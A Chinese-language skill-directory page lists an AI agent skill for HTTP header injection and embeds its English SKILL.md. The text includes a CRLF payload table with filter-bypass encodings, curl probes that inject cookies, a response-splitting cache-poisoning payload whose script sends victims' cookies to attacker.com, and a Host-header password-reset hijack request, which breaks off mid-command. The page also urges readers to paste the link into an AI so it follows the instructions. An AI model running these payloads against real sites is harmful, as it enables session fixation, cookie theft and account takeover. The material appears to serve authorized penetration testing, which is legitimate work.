跳到正文
Skillpedia
安全6.5k · #14064

header-injection

它能做什么

这项技能说明用户输入如何被放入 HTTP 响应头,并用于改变响应或缓存。适合检查响应头处理和重置链接的安全测试人员。

适用场景

  • ✓当网站把用户输入复制到重定向、Cookie 或下载响应头中,而你想进行测试时。
  • ✓当密码重置链接似乎是根据请求中的主机名生成的时。
  • ✓当你需要检查缓存系统是否以不安全的方式处理某些响应头时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查,通过发送不同的 Host 响应头,我的密码重置邮件能否被更改?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体发送包含换行符以及被修改的主机或转发响应头的请求,然后检查服务器是否返回了新的响应头,或是否根据输入生成了链接。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

HTTP Header Injection

Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.

Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.

Attack Surface

  • Query/body/path parameters echoed into Location, Set-Cookie, Content-Type, Content-Disposition, Link, or custom X-* headers
  • Request headers re-reflected into responses: Referer, User-Agent, X-Forwarded-Host, correlation IDs
  • Password-reset / account-recovery flows where the reset link is built from the Host header
  • OAuth/SSO redirect flows where Location is derived from user input
  • CDN/reverse-proxy stacks where X-Forwarded-Host or X-Forwarded-Proto is echoed into canonical URLs
  • Content-Disposition: attachment; filename=<user_input> file-download endpoints
  • Outbound email headers populated from user-supplied fields (To/From/Subject)

CR/LF Injection Payload Set

These are the characters and encodings to inject. Try each until one survives to the response header:

Encoding Value Notes
URL bare LF %0a Most permissive servers
URL bare CR %0d Rarely effective alone
URL CRLF %0d%0a Classic; many filters strip this
Double-encoded %250d%250a Bypasses single-decode WAFs
Tab %09 RFC 7230 permits tab in field values; some parsers fold into preceding header
Null byte %00 Truncates value in some C-based parsers
Unicode LS/PS %e2%80%a8 / %e2%80%a9 U+2028/U+2029; some intermediaries fold to LF
Overlong UTF-8 CR %c0%8d Invalid per spec but accepted by some older parsers

CRLF Response Splitting

Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.

Detection

TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
  | grep -iE "^< (set-cookie|location|http)"

# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
  | grep -i "x-injected"

Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.

Exploitation: Inject Arbitrary Cookie

PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"

If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.

Exploitation: Response Splitting for Cache Poisoning

# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"

Host Header Poisoning

The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.

Password Reset Link Hijacking

The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.

# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
  -H "Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"vi
常见问题

为什么该技能提到缓存投毒?

它指出,有些响应头会改变响应,但不属于缓存键的一部分,因此一个有问题的响应可能被提供给其他用户。

它涵盖下载文件名吗?

涵盖。它包括下载中用于文件名的 Content-Disposition 响应头。

这只用于测试吗?

它用于安全测试,该技能指出只应在获得授权评估的系统上使用。

详情

作者的原始描述

HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14064
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能